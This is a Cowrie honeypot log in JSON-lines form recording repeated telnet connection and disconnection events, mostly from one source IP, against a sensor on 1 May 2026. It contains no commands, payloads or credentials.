{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45830,"dst_ip":"159.203.135.109","dst_port":23,"session":"34fba5d1e5cb","protocol":"telnet","message":"New connection: 51.161.172.108:45830 (159.203.135.109:23) [session: 34fba5d1e5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.769662Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45858,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c04450f345","protocol":"telnet","message":"New connection: 51.161.172.108:45858 (159.203.135.109:23) [session: c6c04450f345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.788496Z"}
{"eventid":"cowrie.session.closed","duration":31.97259831428528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.853725Z","src_ip":"51.161.172.108","session":"fffa5f59d8c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.457184553146362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.173635Z","src_ip":"45.10.154.244","session":"9a223bb85ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052146196365356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.178579Z","src_ip":"51.161.172.108","session":"a77bee0fa29d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098782539367676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.219629Z","src_ip":"51.161.172.108","session":"59ae85d71ef5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45918,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9dedf7e7df","protocol":"telnet","message":"New connection: 51.161.172.108:45918 (159.203.135.109:23) [session: be9dedf7e7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.346723Z"}
{"eventid":"cowrie.session.closed","duration":30.664435148239136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.365031Z","src_ip":"51.161.172.108","session":"83f78256f6aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67902636528015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.369027Z","src_ip":"51.161.172.108","session":"8934f8faf9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40465998649597,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.374419Z","src_ip":"51.161.172.108","session":"e0d362b0845a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.621479034423828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.411941Z","src_ip":"51.161.172.108","session":"16e3735a85cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.539348602294922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.430336Z","src_ip":"51.161.172.108","session":"5ada9d90df42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725635528564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.454669Z","src_ip":"51.161.172.108","session":"ee08641c06e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45930,"dst_ip":"159.203.135.109","dst_port":23,"session":"274187aa989b","protocol":"telnet","message":"New connection: 51.161.172.108:45930 (159.203.135.109:23) [session: 274187aa989b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.617342Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45932,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8fd1ab2270e","protocol":"telnet","message":"New connection: 51.161.172.108:45932 (159.203.135.109:23) [session: f8fd1ab2270e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.760694Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45876,"dst_ip":"159.203.135.109","dst_port":23,"session":"db21a58b12b4","protocol":"telnet","message":"New connection: 51.161.172.108:45876 (159.203.135.109:23) [session: db21a58b12b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.896315Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45844,"dst_ip":"159.203.135.109","dst_port":23,"session":"f239f1c568bc","protocol":"telnet","message":"New connection: 51.161.172.108:45844 (159.203.135.109:23) [session: f239f1c568bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.901722Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45884,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b4ad6ebe8b3","protocol":"telnet","message":"New connection: 51.161.172.108:45884 (159.203.135.109:23) [session: 3b4ad6ebe8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.905163Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45866,"dst_ip":"159.203.135.109","dst_port":23,"session":"688a0288dfd4","protocol":"telnet","message":"New connection: 51.161.172.108:45866 (159.203.135.109:23) [session: 688a0288dfd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.912942Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45892,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f22e88787ee","protocol":"telnet","message":"New connection: 51.161.172.108:45892 (159.203.135.109:23) [session: 0f22e88787ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:53.931411Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45988,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5d12a4493b9","protocol":"telnet","message":"New connection: 51.161.172.108:45988 (159.203.135.109:23) [session: f5d12a4493b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.253601Z"}
{"eventid":"cowrie.session.closed","duration":31.313448667526245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.336483Z","src_ip":"51.161.172.108","session":"36e6604568c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45998,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e010232a836","protocol":"telnet","message":"New connection: 51.161.172.108:45998 (159.203.135.109:23) [session: 3e010232a836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.368818Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46002,"dst_ip":"159.203.135.109","dst_port":23,"session":"369c4067a1a1","protocol":"telnet","message":"New connection: 51.161.172.108:46002 (159.203.135.109:23) [session: 369c4067a1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.389620Z"}
{"eventid":"cowrie.session.closed","duration":30.74834895133972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.437445Z","src_ip":"51.161.172.108","session":"15686eceb7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46068,"dst_ip":"159.203.135.109","dst_port":23,"session":"b468887a07f4","protocol":"telnet","message":"New connection: 51.161.172.108:46068 (159.203.135.109:23) [session: b468887a07f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.656398Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46102,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5bc2bf2db0a","protocol":"telnet","message":"New connection: 51.161.172.108:46102 (159.203.135.109:23) [session: b5bc2bf2db0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.750593Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46124,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9e99449d09","protocol":"telnet","message":"New connection: 51.161.172.108:46124 (159.203.135.109:23) [session: 7e9e99449d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.876045Z"}
{"eventid":"cowrie.session.closed","duration":35.37522840499878,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.900116Z","src_ip":"167.99.38.72","session":"e3d2bacfa3a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46114,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f5736cfde64","protocol":"telnet","message":"New connection: 51.161.172.108:46114 (159.203.135.109:23) [session: 8f5736cfde64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.922771Z"}
{"eventid":"cowrie.session.closed","duration":31.874415397644043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:54.958076Z","src_ip":"51.161.172.108","session":"332dac803990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.330520391464233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.084258Z","src_ip":"45.10.154.244","session":"004c2dcf4e0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27566170692444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.168954Z","src_ip":"51.161.172.108","session":"30a7aa747f39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990015983581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.239471Z","src_ip":"45.10.154.244","session":"6b2ae109e88d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442246437072754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.344627Z","src_ip":"51.161.172.108","session":"592184f243d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130259037017822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.497334Z","src_ip":"51.161.172.108","session":"e75e3727519d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46260,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e574a6d514","protocol":"telnet","message":"New connection: 51.161.172.108:46260 (159.203.135.109:23) [session: 98e574a6d514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.608024Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46266,"dst_ip":"159.203.135.109","dst_port":23,"session":"13d10141dcf0","protocol":"telnet","message":"New connection: 51.161.172.108:46266 (159.203.135.109:23) [session: 13d10141dcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.719183Z"}
{"eventid":"cowrie.session.closed","duration":31.128396034240723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:55.754836Z","src_ip":"51.161.172.108","session":"ec7f06ea7630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80473256111145,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.050148Z","src_ip":"51.161.172.108","session":"85bcadc9fce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25890898704529,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.063292Z","src_ip":"51.161.172.108","session":"bc419b25fdba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46292,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f2dd67b323","protocol":"telnet","message":"New connection: 51.161.172.108:46292 (159.203.135.109:23) [session: d3f2dd67b323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.127326Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46158,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef3e14b623c3","protocol":"telnet","message":"New connection: 51.161.172.108:46158 (159.203.135.109:23) [session: ef3e14b623c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.144370Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44520,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ee37307a1a9","protocol":"telnet","message":"New connection: 45.10.154.244:44520 (10.17.0.5:23) [session: 3ee37307a1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.160747Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46170,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db9d1c2fb33","protocol":"telnet","message":"New connection: 51.161.172.108:46170 (159.203.135.109:23) [session: 5db9d1c2fb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.200248Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46320,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c69fd7d161","protocol":"telnet","message":"New connection: 51.161.172.108:46320 (159.203.135.109:23) [session: 57c69fd7d161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.299137Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46336,"dst_ip":"159.203.135.109","dst_port":23,"session":"180b214b3fed","protocol":"telnet","message":"New connection: 51.161.172.108:46336 (159.203.135.109:23) [session: 180b214b3fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.475477Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46352,"dst_ip":"159.203.135.109","dst_port":23,"session":"547cd4b33cce","protocol":"telnet","message":"New connection: 51.161.172.108:46352 (159.203.135.109:23) [session: 547cd4b33cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.546039Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46364,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3dabcc62dc2","protocol":"telnet","message":"New connection: 51.161.172.108:46364 (159.203.135.109:23) [session: d3dabcc62dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.579884Z"}
{"eventid":"cowrie.session.closed","duration":31.80292272567749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.606789Z","src_ip":"51.161.172.108","session":"4a2e04da69a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46374,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b22f95c051c","protocol":"telnet","message":"New connection: 51.161.172.108:46374 (159.203.135.109:23) [session: 2b22f95c051c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.656763Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46400,"dst_ip":"159.203.135.109","dst_port":23,"session":"896ca672cc42","protocol":"telnet","message":"New connection: 51.161.172.108:46400 (159.203.135.109:23) [session: 896ca672cc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.856037Z"}
{"eventid":"cowrie.session.closed","duration":32.12423610687256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:56.902290Z","src_ip":"51.161.172.108","session":"f1ef4b5559d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46482,"dst_ip":"159.203.135.109","dst_port":23,"session":"c50fc9ad87ee","protocol":"telnet","message":"New connection: 51.161.172.108:46482 (159.203.135.109:23) [session: c50fc9ad87ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.122857Z"}
{"eventid":"cowrie.session.closed","duration":30.523077726364136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.149148Z","src_ip":"51.161.172.108","session":"be2231989002","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342183589935303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.418995Z","src_ip":"51.161.172.108","session":"5e443e86935e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513452768325806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.427948Z","src_ip":"51.161.172.108","session":"4537ce413913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43523359298706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.492629Z","src_ip":"51.161.172.108","session":"bfe329205942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46518,"dst_ip":"159.203.135.109","dst_port":23,"session":"8712093221c2","protocol":"telnet","message":"New connection: 51.161.172.108:46518 (159.203.135.109:23) [session: 8712093221c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.497610Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53150,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6748060b83c","protocol":"telnet","message":"New connection: 45.10.154.244:53150 (10.17.0.5:23) [session: a6748060b83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.524461Z"}
{"eventid":"cowrie.session.closed","duration":31.35753631591797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.542849Z","src_ip":"51.161.172.108","session":"8e1de1105a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46548,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb26c0db79a7","protocol":"telnet","message":"New connection: 51.161.172.108:46548 (159.203.135.109:23) [session: eb26c0db79a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.557410Z"}
{"eventid":"cowrie.session.closed","duration":31.223063230514526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.583803Z","src_ip":"51.161.172.108","session":"d83e9ab1682e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46576,"dst_ip":"159.203.135.109","dst_port":23,"session":"89260a8ffcce","protocol":"telnet","message":"New connection: 51.161.172.108:46576 (159.203.135.109:23) [session: 89260a8ffcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.608975Z"}
{"eventid":"cowrie.session.closed","duration":32.3078510761261,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.637569Z","src_ip":"51.161.172.108","session":"579ff0690dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.590431690216064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.718391Z","src_ip":"51.161.172.108","session":"cbc2a4796fb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25752329826355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.776249Z","src_ip":"51.161.172.108","session":"ea9983c633cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46604,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e5706f9fc7d","protocol":"telnet","message":"New connection: 51.161.172.108:46604 (159.203.135.109:23) [session: 7e5706f9fc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.930659Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46620,"dst_ip":"159.203.135.109","dst_port":23,"session":"a915890ac9e4","protocol":"telnet","message":"New connection: 51.161.172.108:46620 (159.203.135.109:23) [session: a915890ac9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:57.997872Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46630,"dst_ip":"159.203.135.109","dst_port":23,"session":"132a2dbef4dd","protocol":"telnet","message":"New connection: 51.161.172.108:46630 (159.203.135.109:23) [session: 132a2dbef4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.046777Z"}
{"eventid":"cowrie.session.closed","duration":30.46213459968567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.062810Z","src_ip":"45.10.154.244","session":"848178bcee2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46462,"dst_ip":"159.203.135.109","dst_port":23,"session":"59325b380233","protocol":"telnet","message":"New connection: 51.161.172.108:46462 (159.203.135.109:23) [session: 59325b380233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.126576Z"}
{"eventid":"cowrie.session.closed","duration":32.172600984573364,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.296707Z","src_ip":"51.161.172.108","session":"31728ec0d45a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913846254348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.302333Z","src_ip":"51.161.172.108","session":"34a94fae2012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46496,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad2568bbb06","protocol":"telnet","message":"New connection: 51.161.172.108:46496 (159.203.135.109:23) [session: 9ad2568bbb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.309557Z"}
{"eventid":"cowrie.session.closed","duration":30.793565273284912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.327640Z","src_ip":"51.161.172.108","session":"85f34ce6594d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46532,"dst_ip":"159.203.135.109","dst_port":23,"session":"977de85bdf38","protocol":"telnet","message":"New connection: 51.161.172.108:46532 (159.203.135.109:23) [session: 977de85bdf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.438807Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46706,"dst_ip":"159.203.135.109","dst_port":23,"session":"a256bd02e92b","protocol":"telnet","message":"New connection: 51.161.172.108:46706 (159.203.135.109:23) [session: a256bd02e92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.522699Z"}
{"eventid":"cowrie.session.closed","duration":31.666359663009644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:58.764000Z","src_ip":"51.161.172.108","session":"30147d3f7cd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.782320976257324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.017328Z","src_ip":"51.161.172.108","session":"78091fd6ee0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46832,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a7d104f6c1f","protocol":"telnet","message":"New connection: 51.161.172.108:46832 (159.203.135.109:23) [session: 1a7d104f6c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.085415Z"}
